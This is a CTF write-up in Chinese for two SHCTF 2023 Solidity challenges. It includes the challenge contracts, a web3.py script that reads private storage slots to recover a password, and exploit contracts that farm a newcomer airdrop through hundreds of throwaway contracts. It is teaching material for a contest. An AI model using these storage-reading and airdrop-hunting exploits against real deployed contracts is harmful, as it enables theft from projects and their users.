获取到的flag就是直接提交的格式,无需更改
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
contract Greeter {
string greeting;
constructor(string memory _greeting) {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory shctf = "welC0meToSHCTF2023";
return keccak256(abi.encodePacked(shctf)) == keccak256(abi.encodePacked(greeting));
}
}
|
入门的话看这个
https://forum.butian.net/share/1953
这篇挺详细的
关于solidity入门,可以刷这个
https://cryptozombies.io/
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
contract Greeter {
string greeting;
constructor(string memory _greeting) {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory shctf = "welC0meToSHCTF2023";
return keccak256(abi.encodePacked(shctf)) == keccak256(abi.encodePacked(greeting));
}
}
contract exp{
//首先确定被攻击的合约地址,就是题目环境中使用步骤2生成的那个合约地址。
address transcation=0x56f70E483F2657348a71ec8531e18330c08F7dEc;
//将合约地址和被攻击合约的模板整合到一起
Greeter target=Greeter(transcation);
constructor()payable{}
//自己定义一个攻击函数可供调用去攻击
function hack() public returns(bool){
bool ans=false;
//根据被攻击合约地址的题目要求进行修改赋值
string memory greeting="welC0meToSHCTF2023";
target.setGreeting(greeting);
//然后调用函数,检查是否满足事件要求
ans=target.isSolved();
return ans;
}
}
|
[WEEK3]贪玩蓝月
2 支队伍攻克
贪玩蓝月,你没有玩过的全新版本,点一下,玩一年,装备只花一亿元,只需体验三分钟,你就会像我一样,爱上这款游戏。
题目地址 (nc连接)101.37.81.166 20001
RPC节点 101.37.81.166 20002
水龙头 101.37.81.166 20003
获取到的flag就是直接提交的格式,无需更改
hint: https://ctf-wiki.org/blockchain/ethereum/introduction
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.25;
contract greedyBlueMoon {
mapping(address => uint) private shards;
mapping(address => uint) private newcomer;
uint private paralysisRing;
address owner;
uint80 private rates ;
uint8 private bonus ;
uint16 private price ;
uint8 private loot;
bytes10 private password;
mapping(address => uint) private attackingType;
mapping(address => uint) private waitTime;
constructor(uint _bonus, uint _price, uint _rates, uint _loot, bytes10 _password) public {
owner = msg.sender;
bonus = uint8(_bonus);
price = uint16(_price);
rates = uint80(_rates);
loot = uint8(_loot);
password = _password;
}
function newcomerBundle() public {
assert(newcomer[msg.sender] == 0);
shards[msg.sender] += bonus;
newcomer[msg.sender] = 1;
}
function buyShards() payable public {
uint yourMoney = msg.value / rates;
shards[msg.sender] += yourMoney;
}
function fightMob() public {
waitTime[msg.sender] = now + 1 minutes;
attackingType[msg.sender] = 1;
}
function collectingMobLoot() public {
require((waitTime[msg.sender] < now),"Mob is alive");
require(attackingType[msg.sender]==1);
attackingType[msg.sender] = 0;
shards[msg.sender] += 10;
}
function fightBoss() public {
waitTime[msg.sender] = now + 52 weeks;
attackingType[msg.sender] = 2;
}
function collectingBossLoot() public {
require((waitTime[msg.sender] < now),"Boss is alive");
require(attackingType[msg.sender]==2);
attackingType[msg.sender] = 0;
paralysisRing += 1;
}
function transfersOfItems(address to,uint value) public{
assert(shards[msg.sender] >= value);
shards[msg.sender] -= value;
shards[to] += value;
}
function redeemingParalyzingRing(bytes10 _key) public {
require((shards[msg.sender] >= price),"Please use the money power");
require((keccak256(abi.encodePacked(password)) == keccak256(abi.encodePacked(_key))), "Wrong Password.");
shards[msg.sender] -= price;
paralysisRing +=1;
}
function isSolved() public view returns (bool) {
require(paralysisRing >= 1);
return true;
}
}
|
79行, 不小心写多了
思路
主要目的就是让paralysisRing的值>=1
而能做到这点的函数有两个
redeemingParalyzingRing
(兑换麻痹戒指)和 collectingBossLoot
(获取Boss掉落物)
collectingBossLoot
需要等待52周 而比赛时间只有一个月 明显不能用这个办法
那就去看redeemingParalyzingRing
而这个函数需要有超过price
的碎片(shards) 和兑换口令 password
获取password的值
考点: 读取private变量
但是 rates bonus price loot password 这些都是private的值
没有直接查看的接口
但是区块链上的所有数据都是公开的, private只是把数据标记为只允许合约内部修改
可以直接读取storage的slot来获取数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
|
关于存储的知识 可以看这个
https://ctf-wiki.org/blockchain/ethereum/storage
由于区块链上所有操作都要花费gas, 对于最贵的永久存储的Storage型数据, 肯定是要紧密排列
所以我们来捋一下这些变量在slot的位置
1
2
3
4
5
6
7
8
9
10
11
|
mapping(address => uint) private shards; //slot0
mapping(address => uint) private newcomer; //slot1
uint private paralysisRing; //slot2
address owner; //slot3
uint80 private rates ; //slot3
uint8 private bonus ; //slot3
uint16 private price ; //slot4
uint8 private loot; //slot4
bytes10 private password; //slot4
mapping(address => uint) private attackingType; //slot5
mapping(address => uint) private waitTime; //slot6
|
mapping
的值不会存储在本slot 而是映射到keccak256(k -> p)
的位置
但是会占据一整个slot
uint类型相当于uint256
也会占据一整个slot
一个slot有32字节的空间
address
相当于 uint160
需要20字节的空间
rates
为uint80
需要10字节的空间
bonus
占据一字节
但是剩下的空间存不开2字节的price
了
所以会存到slot4
loot
顺延
password
也在slot4
还有一点 就是数据顺序是往高位存储(也就是靠右存储)
所以数据的结构是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
----------------------------------
| shards | # slot 0
----------------------------------
| newcomer | # slot 1
----------------------------------
| paralysisRing | # slot 2
----------------------------------
| bonus rates owner | # slot 3
----------------------------------
| password loot price | # slot 4
----------------------------------
| attackingType | # slot 5
----------------------------------
| waitTime | # slot 6
|
使用web3.py读取的数据
1
2
3
4
5
|
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x00420000066666666666666604d01a7455ef0251edf272e70b6872040df35b70
0x00000000000000000000000000000000000000007368637466326f32330a8f3a
|
对照上面分析的结果 来看就是
1
2
3
4
5
6
|
owner 0x04d01a7455ef0251edf272e70b6872040df35b70
rates 0x00000666666666666666
bonus 0x42
price 0x8f3a
loot 0x0a
password 0x007368637466326f32330
|
这里有一个我挖的小坑
你读到这里可能会以为password
的值是7368637466326f32330
但是看定义变量可以发现是bytes10 private password;
所以前面还有个00也是password
所以完整的password的hex是 007368637466326f32330
读取数据的脚本
1
2
3
4
5
6
|
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://101.37.81.166:20002'))
contract_address = '0xF61e1F2359dDE261bDfb3016a9a14aFED5604688'
for i in range(0,5):
print(w3.eth.get_storage_at(contract_address,i).hex())
|
获取足够的shards
考点: Airdrop Hunting(薅羊毛攻击)
现在可以知道 兑换麻痹戒指的价格是0x8f3a(36666)
而通过buyShards
获取碎片的代价太过高昂
每个新账户可以调用一次newcomerBundle
获取0x42(66)的shards
transfersOfItems
可以向指定账户转shards
36666÷66=555.54545454545454545454545454545
也就是说创建556个新账户然后向我转shards
就可以
这里就是薅羊毛攻击
薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。
虽然在Gas limit的过低的情况下,部署后要分别执行三次函数
次数稍微多了点(防止非预期) 不过也能接受
未定义变量
师傅用web3脚本进行交互的 等待时间太长
我直接用的solidity的new方法 创建合约然后向我的地址转shards
未定义变量 师傅的题解
https://linmur.top/post/shctf-2023-blockchain-writeup/#%E8%B4%AA%E7%8E%A9%E8%93%9D%E6%9C%88
我的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.25;
import "SHCTF2023/greedyBlueMoon.sol";
contract attack{
function attack_airdrop(int num) public {
for(int i = 0; i < num; i++){
new getShards(this);
}
}
greedyBlueMoon target = greedyBlueMoon("目标合约地址");
function buyRing()public {
bytes10 key = 0x007368637466326f3233;
target.redeemingParalyzingRing(key);
}
function testSolved() view public {
target.isSolved();
}
}
contract getShards{
constructor(address addr) public {
greedyBlueMoon target = greedyBlueMoon("目标合约地址");
target.newcomerBundle();
target.transfersOfItems(addr,66);
}
}
|
部署后先执行三次attack_airdrop
再buyRing即可